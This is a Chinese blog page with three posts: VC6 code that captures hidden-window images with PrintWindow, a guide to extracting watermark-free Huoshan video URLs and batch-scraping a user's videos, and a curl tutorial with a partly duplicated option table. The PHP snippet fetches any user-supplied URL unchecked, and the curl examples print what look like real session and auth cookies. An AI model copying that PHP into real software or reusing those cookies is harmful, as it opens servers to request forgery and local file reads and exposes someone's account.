欢迎光临
未来你我一起携手

VC6下使用PrintWindows截取隐藏窗口图像

Li, Json阅读(8)

PrintWindow这个函数只可以在XP以上使用,并且在VC6上使用稍有不同。具体请参照下面代码。下面代码基于VC6编译且通过。

#include "stdafx.h"
#include <stdio.h>
#include <afxwin.h>
BOOL  SaveBmp(HBITMAP     hBitmap,   CString     FileName)         
{         
    HDC     hDC;         
    //当前分辨率下每象素所占字节数         
    int     iBits;         
    //位图中每象素所占字节数         
    WORD     wBitCount;         
    //定义调色板大小,     位图中像素字节大小     ,位图文件大小     ,     写入文件字节数             
    DWORD     dwPaletteSize=0,   dwBmBitsSize=0,   dwDIBSize=0,   dwWritten=0;             
    //位图属性结构             
    BITMAP     Bitmap;                 
    //位图文件头结构         
    BITMAPFILEHEADER     bmfHdr;                 
    //位图信息头结构             
    BITMAPINFOHEADER     bi;                 
    //指向位图信息头结构                 
    LPBITMAPINFOHEADER     lpbi;                 
    //定义文件,分配内存句柄,调色板句柄             
    HANDLE     fh,   hDib,   hPal,hOldPal=NULL;             
  
    //计算位图文件每个像素所占字节数             
    hDC  = CreateDC("DISPLAY",   NULL,   NULL,   NULL);         
    iBits  = GetDeviceCaps(hDC,   BITSPIXEL)     *     GetDeviceCaps(hDC,   PLANES);             
    DeleteDC(hDC);             
    if(iBits <=  1)                                                   
        wBitCount = 1;             
    else  if(iBits <=  4)                               
        wBitCount  = 4;             
    else if(iBits <=  8)                               
        wBitCount  = 8;             
    else                                                                                                                               
        wBitCount  = 24;             
  
    GetObject(hBitmap,   sizeof(Bitmap),   (LPSTR)&Bitmap);         
    bi.biSize= sizeof(BITMAPINFOHEADER);         
    bi.biWidth = Bitmap.bmWidth;         
    bi.biHeight =  Bitmap.bmHeight;         
    bi.biPlanes =  1;         
    bi.biBitCount = wBitCount;         
    bi.biCompression= BI_RGB;         
    bi.biSizeImage=0;         
    bi.biXPelsPerMeter = 0;         
    bi.biYPelsPerMeter = 0;         
    bi.biClrImportant = 0;         
    bi.biClrUsed =  0;         
  
    dwBmBitsSize  = ((Bitmap.bmWidth *wBitCount+31) / 32)*4* Bitmap.bmHeight;         
  
    //为位图内容分配内存             
    hDib  = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));             
    lpbi  = (LPBITMAPINFOHEADER)GlobalLock(hDib);             
    *lpbi  = bi;             
  
    //     处理调色板                 
    hPal  = GetStockObject(DEFAULT_PALETTE);             
    if (hPal)             
    {             
        hDC  = ::GetDC(NULL);             
        hOldPal = ::SelectPalette(hDC,(HPALETTE)hPal, FALSE);             
        RealizePalette(hDC);             
    }         
  
    //     获取该调色板下新的像素值             
    GetDIBits(hDC,hBitmap, 0,(UINT)Bitmap.bmHeight,  
        (LPSTR)lpbi+ sizeof(BITMAPINFOHEADER)+dwPaletteSize,   
        (BITMAPINFO *)lpbi, DIB_RGB_COLORS);             
  
    //恢复调色板                 
    if (hOldPal)             
    {             
        ::SelectPalette(hDC,   (HPALETTE)hOldPal,   TRUE);             
        RealizePalette(hDC);             
        ::ReleaseDC(NULL,   hDC);             
    }             
  
    //创建位图文件                 
    fh  = CreateFile(FileName,   GENERIC_WRITE,0,   NULL,   CREATE_ALWAYS,           
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN,   NULL);             
  
    if (fh     ==  INVALID_HANDLE_VALUE)         return     FALSE;             
  
    //     设置位图文件头             
    bmfHdr.bfType  = 0x4D42;     //     "BM"             
    dwDIBSize  = sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize;                 
    bmfHdr.bfSize  = dwDIBSize;             
    bmfHdr.bfReserved1  = 0;             
    bmfHdr.bfReserved2  = 0;             
    bmfHdr.bfOffBits  = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;             
    //     写入位图文件头             
    WriteFile(fh,   (LPSTR)&bmfHdr,   sizeof(BITMAPFILEHEADER),   &dwWritten,   NULL);             
    //     写入位图文件其余内容             
    WriteFile(fh,   (LPSTR)lpbi,   dwDIBSize,   &dwWritten,   NULL);             
    //清除                 
    GlobalUnlock(hDib);             
    GlobalFree(hDib);             
    CloseHandle(fh);             
  
    return     TRUE;         
}  
HBITMAP GetWindowBitmap(HWND hWnd)
{
	typedef BOOL ( __stdcall *pPrintWindow )(HWND hWnd,HDC hdcBlt,UINT nFlags);
    RECT rect; 
	HMODULE h;
	h = LoadLibrary( "user32.dll" );
	pPrintWindow p;
	if( h )
	{
		p = ( pPrintWindow )::GetProcAddress( h, "PrintWindow" );
	}
    ::GetWindowRect(hWnd,&rect);
    HDC hScrDC=::GetDC(hWnd);                            //创建屏幕DC
    HDC hMemDC=CreateCompatibleDC(hScrDC);                //创建内存DC
    HBITMAP bitmap=::CreateCompatibleBitmap(hScrDC,rect.right-rect.left,rect.bottom-rect.top); //创建兼容位图
    HBITMAP OldBitmap=(HBITMAP)::SelectObject(hMemDC,bitmap);    //把位图选进内存DC
    p(hWnd,hMemDC,0);  
//	HDC d;
//	HWND hw;
//	hw = ::GetDesktopWindow();
//	d = ::GetWindowDC( hw );
//	::BitBlt( d, 0, 0, 1200, 1200, hMemDC, 0, 0, SRCCOPY );
    ::SelectObject(hMemDC,OldBitmap); 
    ::DeleteDC(hMemDC) ;            //删除内存DC
    ::ReleaseDC(NULL,hScrDC) ;    //释放屏幕DC
	SaveBmp(bitmap,"D:\\calc.jpg");
    return bitmap;
}

int main(int argc, char* argv[])
{
	//if(argc<2){printf("缺少参数。");return 0;}
	HWND calc;
	calc=::FindWindow(NULL,"计算器");
	GetWindowBitmap(calc);
	getchar();
	return 0;
}

 

一键解析火山视频用户所有视频地址

Li, Json阅读(265)

今天实现的是火山小视频无水印的视频解析方法,并且会与大家分享如何批量获取火山用户上传的所有视频并且解析出无水印的视频地址出来。并且作者我编写了一款小工具供大家使用。下面是火山小视频的一些说明

火山小视频是一款15s原创生活小视频社区,由今日头条孵化,通过小视频帮助用户迅速获取内容,展示自我,获得粉丝,发现同好。

一般来说,因为给视频加水印之类处理过程较依赖服务器的处理能力。所有在一些视频量很大的情况下,都不会给视频加上真正的水印。而取而代之的一般都是通过JS之类得来进行控制。其中包括广告投放之类。下面请看一个火山小视频的分享【需要工具的请直接滑动至底部】。

https://www.huoshan.com/share/video/XXX/?tag=0&share_ht_uid=XXX&did=XXX&utm_medium=huoshan_android&tt_from=mobile_qq&iid=XXX&app=live_stream

关键部分我已经隐去。我们要分析的是源码,右键源代码查看,并且定位到这一段代码

<script>
    $(function(){
        __M.require('web:component/reflow_video/reflow_video').create({data:{"status":102,"create_time":1507085206,"video":{"url_list":["http:\/\/hotsoon.snssdk.com\/hotsoon\/item\/video\/_playback\/?video_id=c1a5a55e34dd43f8830769a960d78718\u0026line=0\u0026watermark=1\u0026app_id=1112","http:\/\/hotsoon.snssdk.com\/hotsoon\/item\/video\/_playback\/?video_id=c1a5a55e34dd43f8830769a960d78718\u0026line=1\u0026watermark=1\u0026app_id=1112"],"cover":{"url_list":["http:\/\/p3.pstatp.com\/large\/3d3700015003e47a367b.jpg","http:\/\/pb9.pstatp.com\/large\/3d3700015003e47a367b.jpg","http:\/\/pb3.pstatp.com\/large\/3d3700015003e47a367b.jpg"],"uri":"large\/3d3700015003e47a367b"},"uri":"c1a5a55e34dd43f8830769a960d78718","height":960,"width":540,"duration":15.0},"location":"\u6069\u65bd","media_type":4,"text":"","author":{"city":"\u6e58\u897f","fan_ticket_count":64100,"avatar_large":{"url_list":["http:\/\/p1.pstatp.com\/live\/1080x1080\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/1080x1080\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/1080x1080\/3b1f00072ab16d4b2c92.jpg"],"uri":"1080x1080\/3b1f00072ab16d4b2c92"},"short_id":147138771,"level":1,"gender":1,"app_id":1112,"id_str":"60565083574","avatar_medium":{"url_list":["http:\/\/p1.pstatp.com\/live\/720x720\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/720x720\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/720x720\/3b1f00072ab16d4b2c92.jpg"],"uri":"720x720\/3b1f00072ab16d4b2c92"},"signature":"\u539f\u521b\u641e\u7b11\u6b4c\u624b\uff1a\u6728\u4fa0\n\u6bcf\u592921:00\u201400:00\u76f4\u64ad\nV\ud83d\udc97\uff1agwmx666\uff08\u6ce8\u660e\u7c89\u4e1d\uff09\n\u641e\u7b11\u6211\u662f\u8ba4\u771f\u7684\uff01\u5531\u6b4c\u6211\u662f\u8ba4\u771f\u7684\uff01","avatar_thumb":{"url_list":["http:\/\/p1.pstatp.com\/live\/100x100\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/100x100\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/100x100\/3b1f00072ab16d4b2c92.jpg"],"uri":"100x100\/3b1f00072ab16d4b2c92"},"nickname":"\u6b4c\u738b\u6728\u4fa0\ud83d\udd25\u783410\u4e07","id":60565083574},"id":"6472880201427602701","stats":{"play_count":1460073,"share_count":3696,"ticket":2519,"digg_count":11373,"income":25190}}});
    });
</script>

这里的一段json里面就包含了真实的URL地址。也就是http:\/\/hotsoon.snssdk.com\/hotsoon\/item\/video\/_playback\/?video_id=c1a5a55e34dd43f8830769a960d78718\u0026line=0\u0026watermark=1\u0026app_id=1112这个啦。当然,这个从\u0026watermark后面的就不需要了。这时候真实地址就是http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=c1a5a55e34dd43f8830769a960d78718然后就可以快乐的下载啦。另外,如果我们需要批量解析一个用户的所有视频怎么办呢?其实流程也是非常简单的,逻辑上来分析其实就是获取源码,然后正则匹配网址,再用上面的方法来解析真实的URL地址。我们来看分享的网址一个例子。

https://www.huoshan.com/share/user/xxx/?share_ht_uid=xxx&did=xxx&utm_medium=huoshan_android&tt_from=mobile_qq&iid=xxx&app=live_stream

其实这个分享的网址可以缩短,精简过后是这样的https://www.huoshan.com/share/user/XXX。我们使用审查元素的NETWORK来监视一下请求,可以发现这样一个请求

火山小视频无水印

火山小视频无水印

他的返回是一段Json

{
    "status_code": 0,
    "data": {
        "items": [
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=9e4ad50afef547dd84381288326d0832&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=9e4ad50afef547dd84381288326d0832&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p1.pstatp.com/large/3d5f0011f93017828cda.jpg",
                            "http://pb3.pstatp.com/large/3d5f0011f93017828cda.jpg",
                            "http://pb3.pstatp.com/large/3d5f0011f93017828cda.jpg"
                        ],
                        "uri": "large/3d5f0011f93017828cda"
                    },
                    "uri": "9e4ad50afef547dd84381288326d0832",
                    "height": 960,
                    "width": 540,
                    "duration": 14.878
                },
                "id": "6473436884646235405"
            },
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=60839016314c42f08a830055c6cc2dbd&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=60839016314c42f08a830055c6cc2dbd&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p3.pstatp.com/large/3d53000f723fc9a1767b.jpg",
                            "http://pb9.pstatp.com/large/3d53000f723fc9a1767b.jpg",
                            "http://pb3.pstatp.com/large/3d53000f723fc9a1767b.jpg"
                        ],
                        "uri": "large/3d53000f723fc9a1767b"
                    },
                    "uri": "60839016314c42f08a830055c6cc2dbd",
                    "height": 960,
                    "width": 540,
                    "duration": 14.512
                },
                "id": "6473329244683373837"
            },
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=900439866a5346369df3a3d3347c2eca&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=900439866a5346369df3a3d3347c2eca&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p3.pstatp.com/large/3d53000e32ba9d10f4a1.jpg",
                            "http://pb9.pstatp.com/large/3d53000e32ba9d10f4a1.jpg",
                            "http://pb3.pstatp.com/large/3d53000e32ba9d10f4a1.jpg"
                        ],
                        "uri": "large/3d53000e32ba9d10f4a1"
                    },
                    "uri": "900439866a5346369df3a3d3347c2eca",
                    "height": 960,
                    "width": 540,
                    "duration": 12.772
                },
                "id": "6473326070073396493"
            },
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=d0ff8774756b4f8ea6e3ec7865b7ca9e&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=d0ff8774756b4f8ea6e3ec7865b7ca9e&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p3.pstatp.com/large/3d36000ceb535fb8b56d.jpg",
                            "http://pb9.pstatp.com/large/3d36000ceb535fb8b56d.jpg",
                            "http://pb3.pstatp.com/large/3d36000ceb535fb8b56d.jpg"
                        ],
                        "uri": "large/3d36000ceb535fb8b56d"
                    },
                    "uri": "d0ff8774756b4f8ea6e3ec7865b7ca9e",
                    "height": 960,
                    "width": 540,
                    "duration": 14.97
                },
                "id": "6472941336277290253"
            }
        ]
    },
    "extra": {
        "has_more": true,
        "max_time": 1507099123
    }
}

我裁剪了一大段Json。然后我们分析一下这个请求https://www.huoshan.com/share/load_videos/?offset=0&count=21&user_id=xxx。其实这个offset就是开始的值。比如说要从0开始获取 则offset=0.然后这个count是取到少值。比如offset=0 count=20则代表着取从0个到第20个视频。但是在这里我们需要注意的是,第一次请求是这样的没错。但是第二次请求就稍稍有些变化了。我们尝试在视频栏上进行一下加载更多。这时候有了一个新的请求

批量解析火山小视频

批量解析火山小视频

相信大家都看到了 这里多了一个max_time的参数。这个max_time是个时间戳。这里不转换成北京时间。其实这里就需要注意一下了。因为你会发现,在变换了offset值时 并且没设定正确的max_time时候。返回的内容是不会变的。就好比你https://www.huoshan.com/share/load_videos/?offset=21&count=21&user_id=xxx&max_time=1507099123和https://www.huoshan.com/share/load_videos/?offset=51&count=21&user_id=xxx&max_time=1507099123的时候。返回是一样的。所以这里就涉及到如何取这个max_time的值。其实吧,这个max_time只要从上一次取到的json里就可以得到这个值了。还记得我们第一次请求时候用到的API嘛?这个时候是不带max_time的。但是json里包含了这个的值。所以大致流程是这样的

第一次请求->获取max_time来构造第二次请求->从第二次请求获取max_time来构造第三次请求

那么代码该如何编写呢?写一个伪代码给大家看一下

int count=400
for(int i=0;i<=count/20;i++)
{
       Cstirng aa.format("url......%s",i*20);
       
}

哈哈  有些丑。不继续写了。其实意思就是。我们取整,得到循环多少次。这里的count代表的是视频的总个数。这个可以从用户首页的那个json里得到。然后这里除以20是我一次只请求20条。然后这个cstrign的一个format是为了构造请求。然后我们获取返回的Json并且解析就可以了。

火山小视频批量解析工具

火山小视频批量解析工具

另外附上PHP写得单条URL解析源码

<?php
	function get_between($input, $start, $end){
	$substr = substr($input, strlen($start)+strpos($input, $start),
	(strlen($input) - strpos($input, $end))*(-1));
	return $substr;}
	if(isset($_GET['u'])){
		$res=file_get_contents($_GET['u']);
		$res=str_replace("\/","/",$res);
		//file_put_contents("huoshan.txt",$res);
		$realurl=get_between($res,"{\"url_list\":[\"","\u0026line=0");
		echo "地址为:".$realurl;
	}else
	{	echo "URL为空"; }
?>

代码写得有些丑,请见谅。

CURL简单使用例程

Li, Json阅读(214)

curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

官网下载地址:https://curl.haxx.se/download.html 这里有多平台支持下载。windows下也可以从这里下载[带证书]:https://winampplugins.co.uk/curl/ 亦可以使用其他版本类型的

下载后解压得到2个文件。一个crt一个exe。解压到C盘下curl文件夹。或者可以配置环境变量。这样的话就可以随时随地的调用。不需要切换到指定文件夹了

CURL环境变量

CURL环境变量

我们输入–help就可以看到很多参数了。也许会花上很多时间。但是现在。我们用最简单的方法来进行一次请求。我们要用到的是审查元素

例如我们百度搜索社会王。开启审查元素搜索。

然后此时即可复制完整的curl命令进行提交

curl “https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd=shehuiwan^&json=1^&p=3^&sid=1436_21116_18559_22159^&req=2^&csor=9^&pwd=shehuiwa^&cb=jQuery1102004371613380728823_1506250840126^&_=1506250840137” -H “Accept-Encoding: gzip, deflate, br” -H “Accept-Language: zh-CN,zh;q=0.8” -H “User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36” -H “Accept: */*” -H “Referer: https://www.baidu.com/” -H “Cookie: BIDUPSID=C217A1735D932912AB88C278B7D33F97; PSTM=1505908881; BAIDUID=6957F525EA4F446660E898CD517F0D60:FG=1; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598; PSINO=6; H_PS_PSSID=1436_21116_18559_22159” -H “Connection: keep-alive” –compressed

简单来分析一下参数。

Curl后跟的是网址。-H参数则是head头。可以无限加。一段一个-H –compressed要求返回是压缩的形势。

上述是GET请求。我们来尝试一个POST请求。

以52破解回帖为例

curl “https://www.52pojie.cn/forum.php?mod=post^&action=reply^&fid=16^&tid=647011^&extra=page^%^3D1^&replysubmit=yes^&infloat=yes^&handlekey=fastpost^&inajax=1” -H “Cookie: htVD_2132_saltkey=nWwCIPre; htVD_2132_lastvisit=1506247218; _uab_collina=150625118517833586180194; htVD_2132_pc_size_c=0; _umdata=2BA477700510A7DFE5E15B937AF41A78856C4FC6BB7A0E19AD35ED5E160D9111F55F62A8C680D710CD43AD3E795C914C4D4FA1EE76C04CC28609516E2AAB33F4; htVD_2132_ulastactivity=4376ZXyx0m3I1uZdlwaNBncy0tCsDZJaYHh0gZ6RDYnMg0kaSjpy; htVD_2132_auth=d771GWpfzYc3vk4Zh^%^2FbIketZa^%^2FPp^%^2FQgX^%^2BMHoiqnOZ3xV1yxlY7d2iP^%^2FzJG2caGck8kYFvVqtBkSHym9z4O^%^2Bj2gAzHRQ; htVD_2132_lastcheckfeed=277491^%^7C1506250995; htVD_2132_lip=219.129.183.218^%^2C1504788655; htVD_2132_nofavfid=1; htVD_2132_ttask=277491^%^7C20170924; htVD_2132_visitedfid=16; htVD_2132_sid=ZKKa34; Hm_lvt_46d556462595ed05e05f009cdafff31a=1506251186; Hm_lpvt_46d556462595ed05e05f009cdafff31a=1506251208; htVD_2132_smile=1D1; htVD_2132_clearUserdata=forum; htVD_2132_connect_not_sync_t=1; htVD_2132_lastact=1506251042^%^09forum.php^%^09viewthread; htVD_2132_connect_is_bind=0; htVD_2132_st_p=277491^%^7C1506251042^%^7Cbc220be8d065bda3f21e60eb8872a6fc; htVD_2132_viewid=tid_647011” -H “Origin: https://www.52pojie.cn” -H “Accept-Encoding: gzip, deflate, br” -H “Accept-Language: zh-CN,zh;q=0.8” -H “Upgrade-Insecure-Requests: 1” -H “User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36” -H “Content-Type: application/x-www-form-urlencoded” -H “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8” -H “Cache-Control: max-age=0” -H “Referer: https://www.52pojie.cn/thread-647011-1-1.html” -H “Connection: keep-alive” –data “message=xda^%^CA^%^C7^%^B9^%^FA^%^CD^%^E2^%^C2^%^DB^%^CC^%^B3^%^C2^%^F0^&posttime=1506251003^&formhash=15e8ebc3^&usesig=1^&subject=++” –compressed

–data则是要POST的内容。其他都是一样的。另外附上一份参数解释表

-a/--append 上传文件时,附加到目标文件

  -A/--user-agent <string>  设置用户代理发送给服务器

  - anyauth   可以使用“任何”身份验证方法

  -b/--cookie <name=string/file> cookie字符串或文件读取位置

  - basic 使用HTTP基本验证

  -B/--use-ascii 使用ASCII /文本传输

  -c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中

  -C/--continue-at <offset>  断点续转

  -d/--data <data>   HTTP POST方式传送数据

  --data-ascii <data>  以ascii的方式post数据

  --data-binary <data> 以二进制的方式post数据

  --negotiate     使用HTTP身份验证

  --digest        使用数字身份验证

  --disable-eprt  禁止使用EPRT或LPRT

  --disable-epsv  禁止使用EPSV

  -D/--dump-header <file> 把header信息写入到该文件中

  --egd-file <file> 为随机数据(SSL)设置EGD socket路径

  --tcp-nodelay   使用TCP_NODELAY选项

  -e/--referer 来源网址

  -E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)

  --cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)

  --key <key>     私钥文件名 (SSL)

  --key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)

  --pass  <pass>  私钥密码 (SSL)

  --engine <eng>  加密引擎使用 (SSL). "--engine list" for list

  --cacert <file> CA证书 (SSL)

  --capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)

  --ciphers <list>  SSL密码

  --compressed    要求返回是压缩的形势 (using deflate or gzip)

  --connect-timeout <seconds> 设置最大请求时间

  --create-dirs   建立本地目录的目录层次结构

  --crlf          上传是把LF转变成CRLF

  -f/--fail          连接失败时不显示http错误

  --ftp-create-dirs 如果远程目录不存在,创建远程目录

  --ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用

  --ftp-pasv      使用 PASV/EPSV 代替端口

  --ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址

  --ftp-ssl       尝试用 SSL/TLS 来进行ftp数据传输

  --ftp-ssl-reqd  要求用 SSL/TLS 来进行ftp数据传输

  -F/--form <name=content> 模拟http表单提交数据

  -form-string <name=string> 模拟http表单提交数据

  -g/--globoff 禁用网址序列和范围使用{}和[]

  -G/--get 以get的方式来发送数据

  -h/--help 帮助

  -H/--header <line>自定义头信息传递给服务器

  --ignore-content-length  忽略的HTTP头信息的长度

  -i/--include 输出时包括protocol头信息

  -I/--head  只显示文档信息

  从文件中读取-j/--junk-session-cookies忽略会话Cookie

  - 界面<interface>指定网络接口/地址使用

  - krb4 <级别>启用与指定的安全级别krb4

  -j/--junk-session-cookies 读取文件进忽略session cookie

  --interface <interface> 使用指定网络接口/地址

  --krb4 <level>  使用指定安全级别的krb4

  -k/--insecure 允许不使用证书到SSL站点

  -K/--config  指定的配置文件读取

  -l/--list-only 列出ftp目录下的文件名称

  --limit-rate <rate> 设置传输速度

  --local-port<NUM> 强制使用本地端口号

  -m/--max-time <seconds> 设置最大传输时间

  --max-redirs <num> 设置最大读取的目录数

  --max-filesize <bytes> 设置最大下载的文件总量

  -M/--manual  显示全手动

  -n/--netrc 从netrc文件中读取用户名和密码

  --netrc-optional 使用 .netrc 或者 URL来覆盖-n

  --ntlm          使用 HTTP NTLM 身份验证

  -N/--no-buffer 禁用缓冲输出

  -o/--output 把输出写到该文件中

  -O/--remote-name 把输出写到该文件中,保留远程文件的文件名

  -p/--proxytunnel   使用HTTP代理

  --proxy-anyauth 选择任一代理身份验证方法

  --proxy-basic   在代理上使用基本身份验证

  --proxy-digest  在代理上使用数字身份验证

  --proxy-ntlm    在代理上使用ntlm身份验证

  -P/--ftp-port <address> 使用端口地址,而不是使用PASV

  -Q/--quote <cmd>文件传输前,发送命令到服务器

  -r/--range <range>检索来自HTTP/1.1或FTP服务器字节范围

  --range-file 读取(SSL)的随机文件

  -R/--remote-time   在本地生成文件时,保留远程文件时间

  --retry <num>   传输出现问题时,重试的次数

  --retry-delay <seconds>  传输出现问题时,设置重试间隔时间

  --retry-max-time <seconds> 传输出现问题时,设置最大重试时间

  -s/--silent静音模式。不输出任何东西

  -S/--show-error   显示错误

  --socks4 <host[:port]> 用socks4代理给定主机和端口

  --socks5 <host[:port]> 用socks5代理给定主机和端口

  --stderr <file>
-t/--telnet-option <OPT=val> Telnet选项设置

  --trace <file>  对指定文件进行debug

  --trace-ascii <file> Like --跟踪但没有hex输出

  --trace-time    跟踪/详细输出时,添加时间戳

  -T/--upload-file <file> 上传文件

  --url <URL>     Spet URL to work with

  -u/--user <user[:password]>设置服务器的用户和密码

  -U/--proxy-user <user[:password]>设置代理用户名和密码

  -v/--verbose

  -V/--version 显示版本信息

  -w/--write-out [format]什么输出完成后

  -x/--proxy <host[:port]>在给定的端口上使用HTTP代理

  -X/--request <command>指定什么命令

  -y/--speed-time 放弃限速所要的时间。默认为30

  -Y/--speed-limit 停止传输速度的限制,速度时间'秒

  -z/--time-cond  传送时间设置

  -0/--http1.0  使用HTTP 1.0

  -1/--tlsv1  使用TLSv1(SSL)

  -2/--sslv2 使用SSLv2的(SSL)

  -3/--sslv3         使用的SSLv3(SSL)

  --3p-quote      like -Q for the source URL for 3rd party transfer

  --3p-url        使用url,进行第三方传送

  --3p-user       使用用户名和密码,进行第三方传送

  -4/--ipv4   使用IP4

  -6/--ipv6   使用IP6

  -#/--progress-bar 用进度条显示当前的传送状态

  -a/--append 上传文件时,附加到目标文件

  -A/--user-agent <string>  设置用户代理发送给服务器

  - anyauth   可以使用“任何”身份验证方法

  -b/--cookie <name=string/file> cookie字符串或文件读取位置

  - basic 使用HTTP基本验证

  -B/--use-ascii 使用ASCII /文本传输

  -c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中

  -C/--continue-at <offset>  断点续转

  -d/--data <data>   HTTP POST方式传送数据

  --data-ascii <data>  以ascii的方式post数据

  --data-binary <data> 以二进制的方式post数据

  --negotiate     使用HTTP身份验证

  --digest        使用数字身份验证

  --disable-eprt  禁止使用EPRT或LPRT

  --disable-epsv  禁止使用EPSV

  -D/--dump-header <file> 把header信息写入到该文件中

  --egd-file <file> 为随机数据(SSL)设置EGD socket路径

  --tcp-nodelay   使用TCP_NODELAY选项

  -e/--referer 来源网址

  -E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)

  --cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)

  --key <key>     私钥文件名 (SSL)

  --key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)

  --pass  <pass>  私钥密码 (SSL)

  --engine <eng>  加密引擎使用 (SSL). "--engine list" for list

  --cacert <file> CA证书 (SSL)

  --capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)

  --ciphers <list>  SSL密码

  --compressed    要求返回是压缩的形势 (using deflate or gzip)

  --connect-timeout <seconds> 设置最大请求时间

  --create-dirs   建立本地目录的目录层次结构

  --crlf          上传是把LF转变成CRLF

  -f/--fail          连接失败时不显示http错误

  --ftp-create-dirs 如果远程目录不存在,创建远程目录

  --ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用

  --ftp-pasv      使用 PASV/EPSV 代替端口

  --ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址

  --ftp-ssl       尝试用 SSL/TLS 来进行ftp数据传输

  --ftp-ssl-reqd  要求用 SSL/TLS 来进行ftp数据传输

  -F/--form <name=content> 模拟http表单提交数据

  -form-string <name=string> 模拟http表单提交数据

  -g/--globoff 禁用网址序列和范围使用{}和[]

  -G/--get 以get的方式来发送数据

  -h/--help 帮助

  -H/--header <line>自定义头信息传递给服务器

  --ignore-content-length  忽略的HTTP头信息的长度

  -i/--include 输出时包括protocol头信息

  -I/--head  只显示文档信息

  从文件中读取-j/--junk-session-cookies忽略会话Cookie

  - 界面<interface>指定网络接口/地址使用

  - krb4 <级别>启用与指定的安全级别krb4

  -j/--junk-session-cookies 读取文件进忽略session cookie

  --interface <interface> 使用指定网络接口/地址

  --krb4 <level>  使用指定安全级别的krb4

  -k/--insecure 允许不使用证书到SSL站点

  -K/--config  指定的配置文件读取

  -l/--list-only 列出ftp目录下的文件名称

  --limit-rate <rate> 设置传输速度

  --local-port<NUM> 强制使用本地端口号

  -m/--max-time <seconds> 设置最大传输时间

  --max-redirs <num> 设置最大读取的目录数

  --max-filesize <bytes> 设置最大下载的文件总量
-M/--manual  显示全手动

  -n/--netrc 从netrc文件中读取用户名和密码

  --netrc-optional 使用 .netrc 或者 URL来覆盖-n

  --ntlm          使用 HTTP NTLM 身份验证

  -N/--no-buffer 禁用缓冲输出

  -o/--output 把输出写到该文件中

  -O/--remote-name 把输出写到该文件中,保留远程文件的文件名

  -p/--proxytunnel   使用HTTP代理

  --proxy-anyauth 选择任一代理身份验证方法

  --proxy-basic   在代理上使用基本身份验证

  --proxy-digest  在代理上使用数字身份验证

  --proxy-ntlm    在代理上使用ntlm身份验证

  -P/--ftp-port <address> 使用端口地址,而不是使用PASV

  -Q/--quote <cmd>文件传输前,发送命令到服务器

  -r/--range <range>检索来自HTTP/1.1或FTP服务器字节范围

  --range-file 读取(SSL)的随机文件

  -R/--remote-time   在本地生成文件时,保留远程文件时间

  --retry <num>   传输出现问题时,重试的次数

  --retry-delay <seconds>  传输出现问题时,设置重试间隔时间

  --retry-max-time <seconds> 传输出现问题时,设置最大重试时间

  -s/--silent静音模式。不输出任何东西

  -S/--show-error   显示错误

  --socks4 <host[:port]> 用socks4代理给定主机和端口

  --socks5 <host[:port]> 用socks5代理给定主机和端口

  --stderr <file>

  -t/--telnet-option <OPT=val> Telnet选项设置

  --trace <file>  对指定文件进行debug

  --trace-ascii <file> Like --跟踪但没有hex输出

  --trace-time    跟踪/详细输出时,添加时间戳

  -T/--upload-file <file> 上传文件

